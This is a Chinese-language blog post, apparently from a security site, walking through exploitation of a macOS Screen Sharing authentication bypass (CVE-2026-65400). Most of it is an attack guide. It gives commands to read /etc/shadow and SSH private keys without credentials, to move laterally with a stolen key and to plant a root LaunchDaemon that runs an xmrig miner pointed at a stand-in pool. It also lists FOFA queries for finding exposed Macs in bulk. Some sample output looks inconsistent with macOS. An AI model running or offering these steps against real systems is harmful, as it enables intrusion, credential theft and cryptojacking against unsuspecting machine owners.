macOS 屏幕共享认证绕过:从零凭据到 Root 权限接管

macOS 屏幕共享认证绕过:从零凭据到 Root 权限接管

漏洞简介

  • CVE-2026-65400 是 Apple macOS Screen Sharing(屏幕共享)服务中的高危认证绕过漏洞。屏幕共享服务基于标准 RFB(Remote Framebuffer)协议实现,监听 TCP 5900 端口,允许用户远程控制 Mac 桌面。

  • 攻击者通过构造特殊的 RFB 协议数据包,利用服务器端状态管理缺陷,无需任何有效凭据即可绕过 SRP(Secure Remote Password)认证流程,直接以 root 权限访问目标系统。

影响范围

项类别

详情内容

漏洞编号

CVE-2026-65400

漏洞类型

认证绕过 / 远程代码执行

受影响产品

Apple macOS Screen Sharing

受影响版本

macOS Sonoma 14.0 ~ 14.8.8 macOS Sequoia 15.0 ~ 15.7.8 macOS Tahoe 26.0 ~ 26.6.0

漏洞原理

  • Apple macOS 屏幕共享服务基于标准 RFB 协议实现,正常认证流程包含三个阶段:SecurityLevel 协商、SRP 挑战-响应认证、SecurityResult 确认。服务器端在解析客户端发送的 RFB 数据帧时,对异常长的帧长度字段处理存在缺陷。

  • 当攻击者发送包含伪造帧长度(BIG_LEN = 24488)的恶意数据包时,服务器内部缓冲区处理异常,跳过了正常的认证状态检查,直接返回 SecurityResult = 0(认证成功),从而绕过所有密码验证。

  • 漏洞的核心利用点:攻击者以 root 用户身份发起连接,无需提供密码即可获得完全访问权限,并可进一步读取或写入任意文件。

七度光 www.qdg.tw CVE-2026-65400 利用链 漏洞点 poisoned length 触发 绕过 SRP 认证 攻击者 构造 RFB 包 TCP/5900 Screen Sharing RFB Server 状态机解析 认证绕过 Result=0 文件读取 /etc/shadow .ssh/id_rsa loginwindow.plist 文件写入 LaunchDaemons 覆盖 Helper 二进制 植入持久化 远程代码执行 root 权限 挖矿 / 横向移动 完整系统控制 典型利用路径 数据窃取 读取私钥 / Cookie 登录凭证收集 无密码直读敏感文件 持久化驻留 LaunchDaemon 自启 二进制替换 重启后仍可控 横向渗透 SSH 私钥跳板 会话劫持 内网移动 无凭据认证 → 直接获取 root

上图完整呈现了 CVE-2026-65400 的利用链:攻击者向暴露在互联网的 TCP/5900 端口发送构造的恶意 RFB 数据包,RFB Server 在解析异常帧长度字段时触发状态机缺陷(漏洞点),跳过完整的 SRP 认证流程直接返回认证成功(SecurityResult=0)。此后攻击者以 root 身份获得文件读取与写入能力,可读取 /etc/shadow、SSH 私钥等敏感文件,或向 LaunchDaemons 写入恶意 plist 实现持久化,最终以 root 权限执行任意命令、植入挖矿木马并横向移动。整条链路边无需任何有效凭据。

漏洞复现

  • 准备环境

项类别

详情内容

攻击机

Kali Linux / Ubuntu 22.04

Python 版本

3.10+

靶机

macOS ≤ 15.7.8 开启「屏幕共享」服务(系统设置 → 通用 → 共享)

网络条件

攻击机能访问靶机 TCP 5900 端口

漏洞利用脚本

cve-2026-65400-exploit.py

步骤 1:验证目标是否受影响

确认目标 Mac 已开启屏幕共享且端口可达:

nmap -p 5900 <目标IP>
nc -zv <目标IP> 5900

若返回 open 或连接成功,则目标可能受影响。

步骤 2:执行文件读取漏洞验证

使用 PoC 脚本读取目标系统敏感文件:

python3 cve-2026-65400-exploit.py <目标IP> /etc/passwd
python3 cve-2026-65400-exploit.py <目标IP> /etc/shadow
python3 cve-2026-65400-exploit.py <目标IP> /Library/Preferences/com.apple.loginwindow.plist -o loginwindow.plist

预期输出

[*] target 192.168.1.100:5900  file /etc/passwd
[+] IN without credentials - 1920x1080 "MacMini"
[+] read 1234 bytes from /etc/passwd
[+] sha256: a1b2c3d4e5f6...
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
Powered by 七度光 | www.qdg.tw

步骤 3:凭证窃取与横向渗透

读取 SSH 私钥实现无密码登录:

python3 cve-2026-65400-exploit.py <目标IP> /Users/admin/.ssh/id_rsa -o id_rsa
chmod 600 id_rsa
ssh -i id_rsa admin@<内网其他主机>

步骤 4:文件写入与持久化

写入恶意 LaunchDaemon 实现持久化 RCE:

cat > evil.plist << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.evil.miner</string>
    <key>ProgramArguments</key>
    <array>
        <string>/usr/local/bin/xmrig</string>
        <string>--url=stratum+tcp://pool.example.com:3333</string>
        <string>--user=WALLET_ADDRESS</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
</dict>
</plist>
EOF

python3 cve-2026-65400-exploit.py <目标IP> /Library/LaunchDaemons/com.evil.miner.plist -w evil.plist -m 0644

预期输出

写入成功时输出:

[*] target 192.168.1.100:5900  WRITE -> /Library/LaunchDaemons/com.evil.miner.plist
[*] uploading 456 bytes (mode 0644)
[+] IN without credentials - 1920x1080 "MacMini"
[+] write sent to /Library/LaunchDaemons/com.evil.miner.plist (456 bytes)
[+] sha256(local): f7e8d9c0...
[!] verify with a READ afterwards (without -w).
Powered by 七度光 | www.qdg.tw

FOFA 语法

搜索 macOS 屏幕共享服务:

port="5900" && os="macos"

搜索特定版本(未修补):

port="5900" && title="Screen Sharing"

批量扫描特定 IP 段:

port="5900" && country="CN"

结合产品标识符:

port="5900" && banner~"RFB 003.008"

利用工具下载

vm2 沙箱形同虚设:Error.cause 未清理导致任意命令执行 2026-08-24
用微软的刀,杀微软的盾:BTR.sys Ring-0 免杀 2026-08-25